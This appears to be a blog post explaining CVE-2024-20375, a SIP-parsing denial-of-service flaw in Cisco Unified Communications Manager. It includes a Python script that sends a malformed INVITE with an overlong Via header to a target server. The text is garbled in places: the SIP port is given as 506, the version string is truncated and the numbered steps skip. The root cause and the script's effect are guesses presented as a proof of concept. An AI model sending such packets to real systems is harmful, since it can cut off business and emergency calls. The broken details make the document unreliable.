CVE-2024-20375 - How a Bad SIP Message Can Crash Cisco Unified CM

CVE-2024-20375 is a newly disclosed vulnerability targeting Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME). If you work with VoIP, SIP, or manage enterprise communications, you should know about this flaw. It allows a remote, unauthenticated attacker to crash the core communications servers by simply sending a specially crafted SIP message.

Where to find more information

Regardless of your technical background, we’ll keep things simple and to the point.

What Is CVE-2024-20375?

CVE-2024-20375: A denial-of-service (DoS) vulnerability caused by *improper SIP message parsing* in Cisco Unified CM and Unified CM SME.

Cisco Unified Communications Manager Session Management Edition (SME)

- Impact: Remote, unauthenticated attackers can crash (and thus restart) the server by sending a malicious SIP packet. This interrupts all connected voice and video devices—serious business impact.

Technical Breakdown: How Does It Work?

The flaw resides in how the SIP handler parses incoming SIP requests. SIP (Session Initiation Protocol) is the backbone of most VoIP calls.

The Vulnerability

- Root cause: Improper parsing/checking of data fields in SIP messages
- Trigger: A specially crafted SIP request—could be a REGISTER, INVITE, or OPTIONS—with certain malformed headers or field values

Attack Flow

1. Attacker sends a malicious SIP message to the server’s SIP port (usually UDP/TCP 506 or 5061).

The server attempts to process the message.

3. The SIP handler encounters the malformed field, leading to an error—likely buffer overflow, improper pointer dereference, or memory corruption.

This causes the entire Unified CM or SME service to crash and restart.

5. All onward voice/video service is interrupted until recovery.

Proof of Concept (PoC) — SIP Fuzzer Example

To show how one might test for this (in a controlled, safe, and *authorized* lab), here’s a basic Python PoC using the socket library to send a malformed SIP INVITE. NOTE: Never target production networks.

import socket

# Target details
TARGET_IP = "10.1.2.3"      # Replace with your test Unified CM address
SIP_PORT = 506

# Malformed SIP INVITE message — purposely invalid 'Via' field overlong
sip_message = (
    "INVITE sip:bob@unifiedcm.lab SIP/2.\r\n"
    "Via: SIP/2./UDP " + "A"*500 + ";branch=z9hG4bK776asdhds\r\n"
    "Max-Forwards: 70\r\n"
    "To: <sip:bob@unifiedcm.lab>\r\n"
    "From: <sip:evil@attacker.com>;tag=1928301774\r\n"
    "Call-ID: a84b4c76e66710\r\n"
    "CSeq: 314159 INVITE\r\n"
    "Contact: <sip:evil@attacker.com>\r\n"
    "Content-Length: \r\n\r\n"
)

# Send the message over UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(sip_message.encode('utf-8'), (TARGET_IP, SIP_PORT))
sock.close()

This abuses the vulnerability by overloading a header field (‘Via’) in a way that Unified CM’s SIP stack may not safely handle.

Emergency and business telephony is interrupted

For businesses, this is *much worse* than a website going offline—it’s a total shutdown of a vital service.

Cisco Security Advisory:

- CVE-2024-20375 – Cisco Unified Communications Manager SIP DoS Vulnerability

NIST NVD Entry:

- https://nvd.nist.gov/vuln/detail/CVE-2024-20375

Conclusion

CVE-2024-20375 shows how a single malformed packet can wreak havoc on critical business communications. The key takeaway: keep voice infrastructure up to date, audit SIP exposure, and layer defenses. Exploit is trivially easy for threat actors—even those with minimal skill.

*If you want more technical insight or help with testing in your lab environment, reach out or leave a comment below.*

References

- Cisco Security Advisory for CVE-2024-20375
- NVD – CVE-2024-20375

Timeline

Published on: 08/21/2024 17:15:07 UTC
Last modified on: 08/21/2024 17:24:59 UTC